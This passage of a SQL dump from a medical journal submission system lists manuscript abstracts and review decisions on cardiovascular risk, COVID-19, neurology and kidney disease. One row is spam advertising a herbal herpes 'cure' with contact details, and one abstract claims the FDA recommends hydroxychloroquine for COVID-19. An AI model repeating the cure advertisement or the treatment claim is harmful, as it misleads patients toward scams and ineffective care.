2015. The Framingham risk score was calculated for each individual, and their readiness to make lifestyle changes was assessed. Logistic regression analysis was used to examine factors of CVD risk.\r\nResults: Most participants (n = 531; mean age, 42 ± 8 years) were in the low risk group (86%). The moderate (10%) and high (4%) risk groups (n = 85) had a mean age of 49 ± 6.5 years. CVD risk was seven-fold (95% confidence interval [CI], 3.6%-16.3%), six-fold (95% CI, 3%-14%) five- fold (95% CI, 2.4%-10.6%), two-fold (95% CI, 1.2%-5%), and almost three-fold (95% CI, 1.3%- 5.4%) in women with diabetes, hypertension, family history of heart disease, hypercholesterolemia, and those who were junk food consumers compared to other women. Thinking of changing lifestyle was a protective factor.\r\nConclusion: CVD risk factors, including co-morbid conditions, inactive lifestyle, family history of chronic conditions, and smoking were associated with moderate to high CVD risk among participants. The findings also highlight the need to provide comprehensive interdisciplinary programs according to individual risk and readiness to change.','Cardiovascular disease, Framingham risk score, readiness for change',3888,NULL,'2020-11-28',NULL,'Submitted',2,NULL,'2021-01-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6782,8042,86,0,'ipaom-20-6782','An Unusual Cause of Tachycardia: Focal Nonconvulsive Status Epilepticus Following Acute Head Trauma',NULL,2,0,'','Nonconvulsive status epilepticus has traditionally been thought of as a rare condition. There is little data regarding its true incidence but evidence suggests it is far more common than once believed. Nonconvulsive status epilepticus can have an array of presentations and can be a diagnostic enigma for those unaware of its existence or those who believe, as it was once taught, that this condition is isolated to critically ill patients in the intensive care unit. Herein, we discuss the case of a patient with a focal traumatic brain injury who was found to be in nonconvulsive status epilepticus. This condition is one that physicians need to consider, especially those physicians caring for patients with traumatic brain injury.','',2890,NULL,'2020-11-30',NULL,'Submitted',2,NULL,'2021-01-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6784,8044,86,0,'ipaom-20-6784','Antibody response in COVID-19 among Healthcare Workers',NULL,14,0,NULL,'Objectives: To find the degree of association between Polymerase Chain Reaction (PCR) and antibody positivity by assessing the antibody response in PCR positive Versus PCR negative COVID-19 exposed symptomatic/asymptomatic healthcare workers. \r\nMethods: A Total of 102 healthcare workers (HCW) were included in this cross-sectional study after written informed consent including doctors, nurses, laboratory and janitorial staff who were working in isolation ward admitted with symptomatic COVID-19 patients and their samples. Specimen swabs from posterior oropharyngeal wall and nasopharynx were taken to perform Polymerase Chain reaction (PCR) testing of SARS-CoV-2 and blood samples were drawn to measure the corresponding antibody response, within 12 weeks of their first exposure. C-Reactive Protein (CRP) in mg/L was measured by immunoturbidimetry in both groups at the time of PCR. \r\nResults: Mean age of our study participants was 31± 8.9 years. Of total 102 HCW, 60(58.8%) were males and 42(41.2%) were males. Forty two (36.23%) were PCR positive and 60(63.76%) were PCR negative, 57(50.72%) had reactive antibodies and 45(49.28%) had non-reactive antibodies. Of 35 PCR positive subjects, 11 remained asymptomatic. There were 76% subjects who had positive PCR & reactive antibodies, 63.6% subjects with negative PCR and Non-reactive antibodies. Interestingly, (22)36.4% subjects had negative PCR but reactive antibodies. Likewise, 16.7% subjects had positive PCR but non-reactive antibodies. However, statistically moderate significant association (x2(1) =10.02; P=0.00) was found between PCR positivity and antibody positivity. CRP in PCR positive HCWs was 1.5mg/L and PCR negative HCWS was 1mg/L.\r\nConclusions: Our results suggest that antibody response may be used as a screening tool for COVID-19 infection particularly in asymptomatic subjects. Cohort studies are further needed to evaluate the diagnostic accuracy of antibody testing with improved assays before including it in clinical settings as a screening test.','Antibody, COVID 19, Health care workers, PCR',3386,NULL,'2020-11-30',NULL,'Submitted',2,NULL,'2021-02-02',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6797,8058,86,0,'ipaom-20-6797','Long-term outcomes in women and men population participating in program of Managed Care after Acute Myocardial Infarction ( MC-AMI), a 12-months follow-up from a single cardiology care center.',NULL,14,0,'','Background: The number of studies confirming the importance of cardiac rehabilitation\r\n(CR) towards the reduction of mortality and morbidity has increased. On the basis of\r\nscientific evidence, we developed a care program in Poland for patients with myocardial\r\ninfarction I (MC-AMI (in Polish KOS-zawaÅ‚). There is a lack of data on possible\r\nimprovement in long-term prognosis among women after acute myocardial infarction (AMI),\r\nwho were also involved with CR.\r\nAims: The aim of the study is to compare the male and female population who participate in\r\nMC-AMI, regarding major cardiovascular events (MACE), defined as a composite of death,\r\nrecurrent myocardial infarction, and hospitalization for heart failure in a one-year follow-up.\r\nMethods: This is a prospective research study from a single cardiology care center. The study\r\ncompares two groups: women and men who have agreed to participate in the MC-AMI\r\nprogram.\r\nResults: As such, 529 patients were included in the study: 167 women and 362 men. In the\r\n12-month follow-up, the incidence of MACE events was not statistically significantly, as\r\nobserved in the study groups (11.38% vs 11.33%; P = 0.98). Cox multivariate regression\r\nanalysis of the surveyed population also revealed that coronary heart disease, diabetes\r\nmellitus type II, and previous percutaneous coronary intervention were significantly related to\r\nthe primary endpoint.\r\nConclusions: Women who participate in the MC-AMI program do not exhibit a worse\r\nprognosis following MACE, compared to men in 12-month follow-up. Given the benefits of\r\nthe program, the percentage of women participating in the program should definitely improve.\r\n','Keywords: MC-AMI, cardiac rehabilitation, MACE, sex differences.\r\n',410,NULL,'2020-12-02',NULL,'Submitted',2,NULL,'2021-01-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6800,8061,86,0,'ipaom-20-6800','Was the Nobel Prize awarded mistakenly? Should the corpus callosotomy be considered “split-brain surgery”?',NULL,1,1,'Callosotomy','One of the most controversial topics in neuroscience surrounds the Nobel Prize-winning split-brain experiments of Sperry and colleagues. Their experiments were carried out on patients who had undergone a callosotomy, which is a surgery that removes the corpus callosum – one of the commissures that connects the cerebral hemispheres. After years of research that have allowed us to address some of the major concerns regarding this work, scientists remain doubtful about the validity of Sperry’s findings. This is due, in part, to the number of other commissures that also allow for communication between the hemispheres, including the anterior commissure, hippocampal (Fornix), septum pellucidum commissure, the interthalamic adhesion (intermediate mass), the habenular commissure, and the posterior commissure. Therefore, the original assumption made by Sperry, that severing the corpus callosum divides the brain, is an exaggeration of reality: while there is no doubt that the corpus callosum plays the largest contribution in the passage of information from one hemisphere to the other, it is not the only route. After reading and consulting the bibliography of this article, I hope that you will be able to formulate your own opinions about these questions.','Commissures, split-brain, corpus callosum, Callosotomy, epistemology, neurophysiology\r\n\r\n',3868,NULL,'2020-12-03',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6803,8064,251,0,NULL,'Alternative Medicine for herpes',NULL,1,1,'issue cure','I have been having herpes since the past two years now, and I have passed through many different processes in getting rid of the diseases but nothing was working out. A friend of mine introduced me to a doctor (DR Oduduwa https://oduduwaalternativemedicine1.weebly.com/) who sent me herbal medicines which he prepared for me, and my life got transformed and everything was fine and okay with me. Till now I have been going to check up and it is now going to four be months and I am still negative: for more about Dr Oduduwa visit him on; https://www.facebook.com/oduduwaalternativemedicine OR Websit; https://oduduwaalternativemedicine1.weebly.com/ or Whatsapp/Call +234-8169961036.','I have been having herpes since the past two years now, and I have passed through many different processes in getting rid of the diseases but nothing was working out. A friend of mine introduced me to a doctor (DR Oduduwa https://oduduwaalternativemedicine1.weebly.com/) who sent me herbal medicines which he prepared for me, and my life got transformed and everything was fine and okay with me. Till now I have been going to check up and it is now going to four be months and I am still negative: for more about Dr Oduduwa visit him on; https://www.facebook.com/oduduwaalternativemedicine OR Websit; https://oduduwaalternativemedicine1.weebly.com/ or Whatsapp/Call +234-8169961036.',780,NULL,'2020-12-03',NULL,'Submitted',4,NULL,'2020-12-04',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6808,8070,45,0,'iphsj-20-6808','Caregivers’ healthcare seeking behavior and associated factors for common childhood illness, Haro Gibe Kebele, Asendabo Town, Southwest Ethiopia.',NULL,14,2,'','Abstract\r\nBackground: Despite the availability of low-cost interventions to prevent and treat the main causes of child mortality, considerable numbers of the children continue to die without ever reaching health facility or due to delays in seeking appropriate healthcare in developing countries.\r\nObjective: To assess Caregivers’ healthcare seeking behavior and associated factors for common childhood illness, Haro Gibe Kebele, Asendabo Town, Southwest Ethiopia.\r\nMethods: A Community based cross sectional study design was undertaken among 286 caregivers who had a child or children under 5 years of age who experienced any common childhood illnesses  in Haro Gibe kebele, Asendabo town, Southwest Ethiopia.\r\nResults: Overall, 51%of the respondents had Sought care for their sick Children of which 17.8% had taken their children to traditional healers, 58.9% had influenced by worsening of child illness and only 8.2%had taken their children to health facility immediately after the onset of illnesses. Child age between 25-36 months (AOR .21,95%CI:.069-.646), Monthly income between1001-2000Ethiopian birr(ETB)(AOR .33,95%CI .138-.78) and illness being perceived as severe (AOR 3.16,95%CI 1.36-6.69),child illness for more than two weeks (AOR 0.52,95%CI 0.29-0.93), presence of Diarrhea(AOR 2.77,95%CI:1.42-5.39) and danger signs(AOR 13.7, 95%CI:4-46.7) were found to be significantly associated caregivers’ care seeking behavior for common childhood illnesses.\r\nConclusion: - Caregivers\' healthcare-seeking behavior was not only low but also influenced by the severity of the illness and the presence of danger signs. Thus, a measure aimed at increasing healthcare-seeking behavior should be taken to promote and enhance caregivers\' healthcare-seeking behavior for common childhood illnesses.\r\n\r\n\r\n','Health care, Children, illness, Seeking behavior, Caregivers',643,NULL,'2020-12-04',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6817,7918,73,0,'ipjnn-20-6817','Title: Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient.',NULL,2,0,NULL,'young 27 -years -old healthy Nigerian origin man presented with an acute confu- sion and agitation. His medical history didn’t show any trauma, fever or weakness, he lives in UK with no contact with TB patient. He had a history of inflammatory arthritis.\r\nAll his investigations were normal, His CSF examination showed protein cells\r\nIn addition, he had an EEG which was revealed Bi frontal dysfunction with no ictal patterns. His imaging, the MRI /MRA brain showed thin nodular leptomeningeal inflammatory disease and isolated left pontine micro haemorrhage consistent with Neurosarcoidosis and no features of infarction or vasculitis. He was com- menced on high dose of steroids while he was in acute medical department and continued for five days. He was improved dramatically on subsequent days and discharged in a good condition.\r\nNeurosarcoidosis is very rare disease that affects 5% of all patients and it will be fatal if not treated. Nonetheless, provided with expert care. The disease is straightforward to treat. Only minority of patients suffer lasting neurological im- pairments.','Confusion CNSinfections Case Report Neurosarcoidosis',350,NULL,'2020-12-05',NULL,'Submitted',4,NULL,'2021-05-28',NULL,1,0,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6824,8089,73,0,'ipjnn-23-6824','Amyloid beta<sub>1-42</sub> induced toxicity impairs cognition and comprehension  in zebrafish',NULL,14,3,'','Abstract:\r\nTitle: Amyloid beta1-42 induced toxicity impairs cognition and comprehension in zebrafish.\r\nBackground: Zebrafish are small freshwater fish native to India. They have emerged as a powerful model system to study several diseases. Of recent interest is the use of this fish to elaborate on neurodegenerative diseases. Neurodegenerative diseases can be described as a group of disorders displaying distinct loss of structure and function of the central nervous system. Aβ1-42 accumulations serve as one of the pathological hallmarks of Alzheimer’s disease (AD), a progressive neurodegenerative disease. This study aims to investigate the effects of Aβ1-42 on zebrafish learning. \r\nMethods: In this study, we have attempted to analyse the impact of Aβ1-42 toxicity on zebrafish memory and comprehension. This is achieved by injecting Aβ1-42 into the zebrafish brain. The effect and extent of Aβ1-42 toxicity is studied by histochemical analysis and  behavioural studies. \r\nConclusion: Aggregation of amyloid beta Aβ1-42 in the brain plays a pivotal role in regulating cell metabolism and the body’s adaptation mechanism at large. Our observations indicate the adverse effect of Aβ1-42  on the ability of the fish to comprehend its environment. Aβ1-42  treated fish display maximum confusion and delirium in the dark and light assay, evident by their inability to show preference for either the dark or the light chamber.  Our results also explain the ambiguity observed in the light and dark assay when it is used to assess memory. Our study therefore reveals that zebrafish show impaired cognition and comprehension when subjected to Aβ1-42  toxicity. \r\n','Keywords:\r\nBehaviour,  cognition, dementia, delirium, Light/dark assay.\r\n',350,NULL,'2020-12-07',NULL,'Submitted',2,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6825,5891,73,0,'ipjnn-20-6825','Relationship between vestibular dysfunction and cognitive impairment in elderly patients: Peripheral vertigo or Central vertigo',NULL,8,0,NULL,'Background: Recent research suggests an association between vestibular impairment and cognitive impairment. Mild cognitive impairment (MCI) and dementia patients are associated with increased rate of vestibular loss. The vestibular system consists of the peripheral vestibular organs and the associated extensive vestibular cortical pathway. We investigate whether vertigo (peripheral vertigo or central vertigo) is correlated with an increased risk of dementia or MCI and clinical relevance of vertigo types.\r\n\r\nMethods: From August 2019 to January 2020, 300 patients, aged ? 32 years and vertigo with/without cognitive impairment symptoms were retrospectively enrolled. A logistic regression analysis was performed for vertigo types that showed a significant difference between dementia/MCI and non cognitive impairment groups. First, we reviewed vertigo with previous diagnosed 177 dementia/MCI and 123 non cognitive impairment control groups, and the differences in relevance of vertigo types between these groups were examined. Second, the patients with vertigo were classified into 2 groups: peripheral (Acute vestibular neuritis, Meniere\'s disease, Benign paroxysmal positional vertigo, Autonomic related vertigo, and so on) or central (Stroke, Vertiginous migraine and Epilepsy vertigo) types. Third, dementia groups included AD, VaD and Mixed types. Finally, this study evaluated risk factors for vertigo in cognitive impairment patients. \r\n\r\nResults: Among 177 MCI/dementia patients with a mean age of 75.30 years, 56 (31.63%) developed vertigo. The frequency of vertigo types (peripheral vertigo or central vertigo) was different in dementia with vertiginous patients compared to non dementia/MCI groups {peripheral vertigo 14.70% vs 79.70%; central vertigo 18.10% vs 24.40%}. In this study, total 56 vertigo patients were divided into two groups based on peripheral type (n=31) or central type (n=25). Among, 300 patients with vertigo, there was that negative relevance in cognitive impairment patients and peripheral vertigo groups compared to positive relevance in MCI/dementia patients and central vertigo types {odds ratio (OR) 52.73 vs 8.71; 95% confidence interval (CI) 23.08-120.45 and 3.55-21.39, respectively]. \r\n\r\nConclusion: The classification of vertigo is different depending on dementia/MCI or not. The proportion of central vertigo has a tendency to positive relevance with cognitive impairment groups. The findings of our study may provide direction for potentially useful diagnostic tests and vestibular-targeted therapy such problem in cognitive impairment patients.','Keyward: cognitive impairment, dementia/MCI, vestibular dysfunction, peripheral vertigo, central vertigo',350,NULL,'2020-12-07',NULL,'Submitted',2,NULL,'2021-05-10',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6826,8090,277,0,'ipadm-20-6826','Factores por los que las población de Ciudad Guzmán no se vacuna ',NULL,14,0,'','Las investigaciones acerca de la vacunación se han llevado a cabo alrededor del mundo, a lo largo de las últimas décadas; sin embargo, en Ciudad Guzmán no existía una investigación sobre la información que las personas tienen acerca de la vacunación y todo lo que esto implica, desde el conocimiento de qué es una vacuna, cuales enfermedades se pueden prevenir, que población está vacunada y la población en contra de las vacunas, así como los motivos que las personas tienen para realizar la vacunación.','Vacuna; Grupos antivacunas; Factores; No vacunación.',2793,NULL,'2020-12-07',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'1','Revise ',0,'','',NULL,0,0,0,NULL,0),(6837,8100,45,0,'iphsj-20-6837',' Knowledge and Attitude Towards Organ Donation Among Driver’s  License Applicants in Metro Manila, Philippines',NULL,14,0,NULL,'Deceased organ donation is low in the Philippines despite increasing organ demand. The drivers licensing agency of the Philippines, the Land Transportation Office (LTO) inquires in its application form regarding consent for organ donation, which is reflected in the license card. The objective of this study was to determine knowledge and attitude of driver\'s license applicants towards organ donation, and correlate this with willingness to consent through the driver’s license. This descriptive study utilized a researcher-generated, validated questionnaire conducted among driver’s license applicants at the LTO Main Office.  Based on consent for organ donation, groups were compared in terms of demographic profile, knowledge and attitude towards organ donation. Logistic regression model was used to predict the odds of granting consent. Most of the 385 subjects were knowledgeable on organ donation, with 42% and 56% getting high and average scores, respectively. Fifty-five percent said “Yes”, 19.5% answered “No”, and a quarter left the question on organ donation unanswered in the application form.  As a person gets older, the odds of granting consent increases. The level of knowledge did not correlate with granting consent. Only a positive attitude towards donation, particularly the lack of concern about bodily disfigurement caused by donation, correlated with giving consent in the license card. Knowledge and attitude were positively correlated. Knowing the factors that correlate with giving of consent, the data in this study may assist in tailoring nationwide programs on organ donation.','knowledge; attitude; sociodemographic factors; organ donation; driver’s license',685,NULL,'2020-12-08',NULL,'Submitted',14,NULL,'2020-12-16',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6840,6984,277,0,'ipadm-20-6840','ANEMIA EN ENFERMEDAD RENAL CRONICA',NULL,15,0,NULL,'La anemia es una patología común entre los pacientes con enfermedad renal crónica (ERC), siendo la base de muchos de los síntomas asociados con una función renal reducida que se asocia con un aumento de la mortalidad y las hospitalizaciones. La anemia es dos veces más prevalente en personas con ERC que en la población general, aumentando su prevalencia, cuanto más avanzado se encuentra el estadio de la ERC. La fisiopatología de la anemia en este grupo de pacientes se caracteriza por una disminución en la producción de glóbulos rojos, dada por una disminución en la producción de eritropoyetina que normalmente es producida por los fibroblastos intersticiales en la corteza renal, pero a pesar de ello, el problema principal parece ser la falta de aumento de la producción de en respuesta a disminución en las concentraciones de hemoglobina. Los pacientes con anemia deben evaluarse independiente de la etapa de la ERC en la que se encuentren para identificar cualquier proceso reversible que este contribuyendo a la anemia, así mismo, los pacientes con ERC quienes no presentan un síndrome anémico conocido, se les debe hacer un análisis paraclínico multivariado cuando esté clínicamente indicado como en la presencia de astenia, adinamia, disnea, taquicardia, entre otros síntomas asociados. las principales opciones terapéuticas para la anemia van a depender de la gravedad y la causa subyacente de la misma, y que estas opciones terapéuticas incluyen el uso de elementos que van desde el hierro, hasta agentes estimulantes de la eritropoyesis y en raras ocasiones, transfusiones de glóbulos rojos.','Insuficiencia renal, Anemia; Hipoglicemia; Eritropoyetina (DeCS)',2805,NULL,'2020-12-08',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(6843,6984,277,0,'ipadm-20-6843','VACUNACIÓN EN PACIENTES CON ENFERMEDAD RENAL CRÓNICA',NULL,15,0,NULL,'Introducción: Las complicaciones infecciosas en los pacientes con enfermedad renal crónica están descritas como la segunda principal causa de hospitalización y generan un impacto en la mortalidad, es por esto que la vacunación se convierte en uno de los pilares para prevenir las infecciones en pacientes con enfermedad renal. Objetivos: Realizar una búsqueda bibliográfica sobre el beneficio de la vacunación en pacientes con enfermedad renal crónica. Metodología: Se realizó una búsqueda avanzada con los términos DeSC y MeSH: Enfermedad renal crónica; Vacunación; Hepatitis B; Hepatitis A; Neumococo; Influenza; Herpes Zoster. Se utilizaron los motores de búsqueda Clinical Key, Embase, PubMed y Ovid, obteniendo un total de 146 resultados, entre artículos originales, reportes de casos, y revisiones de la literatura; mediante el análisis sistemático y basados en criterios de selección como datos epidemiológicos de los últimos 5 años sobre enfermedad renal crónica e infecciones, además de guías de práctica clínica sobre los diferentes esquemas de vacunación, se seleccionaron un total de 45 artículos  que fueron utilizados para la elaboración de la presente revisión de la literatura. Conclusión: La vacunación se constituye en un pilar fundamental en los pacientes con enfermedad renal crónica pues previene la aparición de complicaciones infecciones con un impacto en la disminución de la mortalidad.','Enfermedad renal crónica; Vacunación; Hepatitis B; Hepatitis A; Neumococo; Influenza; Herpes Zoster',2805,NULL,'2020-12-08',NULL,'Submitted',2,NULL,'2021-02-09',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6848,8042,86,0,'ipaom-20-6848','An Unusual Case of Facial Swelling',NULL,2,0,NULL,'Subcutaneous emphysema is a rarity which can masquerade as other conditions upon initial assessment. It is important for emergency physicians to be mindful of this condition as its sequelae can range from benign to life-threatening. Herein, we present the case of a 55-year-old male who presented to the emergency department (ED) after being found down by emergency medical services (EMS). The patient had severe dyspnea associated with profound perioral and periorbital swelling initially concerning for anaphylaxis. He was subsequently found to have diffuse subcutaneous emphysema secondary ruptured emphysematous bullae as a result of chest wall trauma.','Subcutaneous emphysema, emphysematous blebs, bullous emphysema, pneumomediastinum, chest wall trauma, crepitus',3641,NULL,'2020-12-09',NULL,'Submitted',4,NULL,'2021-02-02',NULL,1,1,'0','Send for revise',0,NULL,NULL,NULL,0,0,0,NULL,0),(6849,8114,971,0,'ipaclr-20-6849','A FAMILY WITH AUTOSOMAL DOMINANT INHERITANCE OF TYPE 1 WAARDENBERG SYNDROME',NULL,2,0,'','Introduction : Waardenberg syndrome is a rare condition characterised by heterochromia or bright blue irides,  hypertelorism due to wider nasal bridge, sensory neural deafness and hypopigmentation of the skin and hair (poliosis). It is usually inherited in autosomal dominant pattern, however it can also be recessive. \r\n\r\nObjective : To report clinical manifestations of type 1 Waardenberg Syndrome in a family of four generations.\r\n\r\nCase Presentation :  Ten members of a family  presented manifestations of Waardenberg Syndrome. Three of them had bright blue irides in both eyes, 4 had  heterochromia.  Two of the members with bright blue irides also had sensorineural hearing loss, poliosis accompanied by broad nasal bridge. Three others only showed hypertelorism and poliosis. All members of the family had normal visual acuity. There is no history of consanguineous marriage reported.\r\n\r\nConclusion : The family in this case presumably inherited autosomal dominant of type 1 Waardenberg syndrome.','Key Words : Waardenberg Syndrome, Autosomal Dominant, Dystopia Canthorum, Heterochromia, Poliosis, Hypertelorism',3249,NULL,'2020-12-09',NULL,'Submitted',2,NULL,'2021-02-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6851,8116,86,0,'ipaom-23-6851','The application of chloroquine and hydroxychloroquine in  the treatment of Coronavirus Disease 2019 (COVID-19)',NULL,17,3,'','Chloroquine is an anti-malarial and autoimmune disease drug, which has an anti-viral activity.\r\nIn vitro, the chloroquine and Hydroxychloroquine are potent at inhibiting SARS-CoV.\r\ntherefore, Chloroquine and Hydroxychloroquine are being studied for their potential treatment of\r\ncoronavirus disease 2019.\r\nThose drugs are now recommended by the FDA, and multiple health organizations.\r\nThis aims of this review is to explore the efficacy of the chloroquine and hydrochloroquine in the\r\ntreatment of the novel COVID-19.\r\n','Chloroquine; Hydroxychloroquine; COVID-19;',3386,NULL,'2020-12-09',NULL,'Submitted',2,NULL,'2023-11-13',NULL,1,1,'0','Send for revision as per review comments',0,'','',NULL,0,0,0,NULL,0),(6854,8119,971,0,'ipaclr-20-6854','Peripheral blood manifestations of COVID 19',NULL,14,0,'','Abstract\r\nPERIPHERAL BLOOD MANIFESTATIONS OF COVID 19\r\nIntroduction\r\nCoronavirus disease 2019 (COVID-19) is defined as illness caused by a novel coronavirus now called severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). Hematological involvement in the form of Lymphopenia may be considered as a cardinal laboratory finding, with prognostic potential, However Eosinopenia and other peripheral blood manifestations are being increasingly recognized.\r\nAims and objectives	\r\nThe aim of the study was to find the peripheral blood manifestations of COVID 19 at presentation to Emergency Room in patients with severe COVID 19 disease.\r\nResults\r\nLymphopenia and eosinopenia were two significant parameters found in patients with Severe COVID 19 Disease with lymphopenia (Absolute lymphocyte count less than 1500) seen in 78.9% and Eosinopenia (Absolute eosinophil count of zero) seen in 74.6% patients.\r\n\r\n','COVID 19,Eosinopenia,lymphopenia',3249,NULL,'2020-12-10',NULL,'Submitted',4,NULL,'2021-03-02',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6860,8126,975,0,'ipjbs-20-6860','The Cytotoxic Effects of Spike Proteins and Hydroxychloroquine',NULL,14,0,'','Title\r\nThis study shows the effect of Hydroxychloroquine (HCQ), one of the drugs currently under investigation for Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-CoV-2) treatment, on the cytotoxicity caused by spike proteins.\r\nBackground\r\nThe emergence of the novel pathogenic SARS-coronavirus 2 (SARS-CoV-2) is responsible for a worldwide pandemic. The first step of the viral replication cycle, attachment to the surface of respiratory cells, is mediated by the spike viral protein. It sets off a sequence of reactions that would eventually lead to viral spread and cell death. If we debilitate the spike protein either with a drug like Hydroxychloroquine that’s known to mitigate Spike proteins from similar viruses, then the cytotoxic effect of SARS-CoV-2’s spike protein (SARS-S-2) is stopped.\r\n\r\nMethods and Findings\r\nWe utilized multiple 96 well plates and a single 6 well plate with cell cultures of vero cells to perform various tests. Such as the: MTT Cell Proliferation Assay, LDH Cytotoxicity Assay, Caspase Apoptosis Assay,  The Hematoxylin and Eosin (H&E) Staining, and the Trypan-Blue Cell Exclusion Assay, to assess the amount of dead cells in each culture and by extension the level of Cytotoxicity. For all 5 tests, the process could be summarized as: adding a chemical to the cultures, recording a reaction over a period of time ranging from a few minutes to over 48 hours, and then comparing the results between the groups. These cell cultures were divided into different treatment groups, some were injected and incubated with recombinant SARS-S-2, a certain dilution of HCQ, both, and neither. \r\nThe MTT Cell Proliferation Assay uses a student t-test to determine consistent statistical significance in the group of results, unfortunately the % viability results from the MTT Assay didn’t pass the test. The LDH Cytotoxicity Assay also had Cytotoxicity results that didn’t pass the 95% confidence interval for the cell cultures with spike proteins in them. The Caspase Apoptosis Assay found that overall there\'re greater levels of apoptosis caused by spike proteins than HCQ. The H&E Staining revealed that the group with HCQ added to the spike protein had a greater area of living cells than the group with only spike proteins added. Specifically 113.9796% and 106.8545% of the control group’s area, compared to a mere 49.7479% on it’s own, with a t-test confidence of over 99%. Unfortunately the Trypan Blue Assay had the same issue as the MTT and LDH Assay with the failure to break out of statistical significance. Outside of that issue pervading through 3 out of the 5 experiments, main limitations of this experimental design is the use of Vero cells rather than critical organs in vivo and that the H&E Staining and Trypan Blue Staining experiments were reliant on samples of photos taken on the microscope and not necessarily a reading of the cell culture as a whole.\r\n\r\nConclusions\r\nThe general consensus among all the assays, was either inconclusive or in support of the idea that the presence of HCQ mitigates the cytotoxic effect of SARS-S-2; With the added caveat that HCQ on it’s own was cytotoxic in it’s own right.  In the future one could follow up on this study with alternate combinations of drugs like Remdesivir or Camostat Mesylate.\r\n','SARS-CoV-2, Spike Protein, Hydroxychloroquine, Cytotoxicity, LDH Assay, MTT Assay, Tripan Blue Assay, H&E Staining, Caspase Assay',4089,NULL,'2020-12-10',NULL,'Submitted',2,NULL,'2021-02-05',NULL,1,1,'0','I would suggest going ahead with the article after going through the whole manuscript, it is recommended to move ahead with the publication of the manuscript. There is some minor grammatical mistakes in the article but that would be taken care by the proof reading team itself.\r\nAll editing and formatting related issues suggested by the editorial board would be taken care of by the copy & proof reading Team.\r\n',0,'','',NULL,0,0,0,NULL,0),(6862,8128,975,0,'ipjbs-20-6862','Respiratory Pathogens in Pediatric Patients in Saudi Arabia: Seasonal Variation and Epidemiological Distribution ',NULL,14,0,'','Background:\r\nAcute respiratory tract infections remain one of the most common causes for pediatric visits to primary care providers, emergency departments and for pediatric hospitalizations1-3. Multiplex Polymerase Chain Reaction (mPCR) testing allows for rapid detection of pathogens in as little as six hours and some kits can test as many as 20 pathogens at a time5-6.\r\nObjective:\r\nThe aim of this study is to explore the incidence, seasonal distribution, relationship with C-reactive protein (CRP) and epidemiological association of various respiratory pathogens among the pediatric age group.\r\nMethodology:\r\nA retrospective study was conducted at Dr. Soliman Fakeeh Hospital in Jeddah, Saudi Arabia to analyze the results of the Respiratory Film Array Panel taken via nasopharyngeal swabs from December 2018 to December 2019 in the pediatric age group. Data was collected and analyzed using IBM SPSS Version 20.\r\nResults:\r\n534 patient’s files were reviewed for multiplex PCR nasopharyngeal samples. Age group and pathogen coinfection or monoinfection was statistically significant 〖(x〗^2 (8,N=534)=21.304,p= 0.006). There was a statistical significance between age group and enterovirus (F (2.792, 115.875) =3.186, p=0.013), respiratory syncytial virus (F (1.939, 35.065) =7.312, p=<0.0001), rhinovirus (F (2.792, 115.875) =3.186, p=0.013) and influenza B (F (0.831, 23.903) =4.600, p=0.001).\r\nConclusion:\r\nStudies in Saudi Arabia and the Middle East in general are limited regarding the various pathogens that cause acute respiratory tract infection in the pediatric age group. This is a ground break study that sheds light on the seasonal variation, age presentation, association of CRP with various pathogens and incidence of not only viral but bacterial organisms as well by the use of mPCR.\r\n\r\n','Keywords:\r\nMulitplex PCR, Pediatrics, Respiratory infection',4089,NULL,'2020-12-11',NULL,'Submitted',2,NULL,'2021-01-22',NULL,1,1,'1','I would suggest going ahead with the article after going through the whole manuscript, it is recommended to move ahead with the publication of the manuscript. This study is well defined by the author.',0,'','',NULL,0,0,0,NULL,0),(6863,7951,667,0,'iptb-20-6863','Primary nasal lymphoma: a case report',NULL,2,0,NULL,'Objectif:  Describe the modalities for the management of Primary nasal lymphoma.\r\n\r\nMaterial and method:  We report the case of a 63-year-old man who presented with Primary nasal lymphoma.\r\nClinical case: This is a 63-year-old patient admitted to the emergency department A 63-year-old patient consulted for progressive nasal obstruction, first unilateral right then bilateral, complete on the right and partial on the left, with rhinorrhoea mucopurulent streaked with blood. On inspection, there is a swelling in the right nasal fossa protruding through the nostril opening and effacing the nasolabial fold, with the facing skin inflamed. A biopsy of the mass with pathological examination and immunohistochemical study (IHC) confirmed the diagnosis of plasma cell lymphoma. The remainder of the extension record was normal. The patient received 5 courses of adjuvant chemotherapy according to the CHOP protocol (adriamycin + vincristine + cyclophosphamide + prednisone), followed by locoregional external radiotherapy (sinuses and nasal cavities) at a dose of 48.6 Gy in 27 sessions.\r\nConclusion: Nasosinus lymphomas represent a rare entity, characterized by initial symptomatology often rough, delaying the diagnosis. Radiology is non-specific, and the diagnosis remains histological. Chemotherapy adjuvant to radiotherapy gives good results.','Lymphoma – Sinonasal – Diagnosis – Treatment.',4111,NULL,'2020-12-11',NULL,'Submitted',2,NULL,'2021-01-02',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6865,8129,91,0,'ijddr-20-6865','Antioxidant efficiency of Selenium and Tellurium Derivatives of 4-dimethylaminopyridine and its statistical analysis.',NULL,14,0,NULL,'The selenium and tellurium derivatives of 4-dimethylaminopyridine are synthesized using 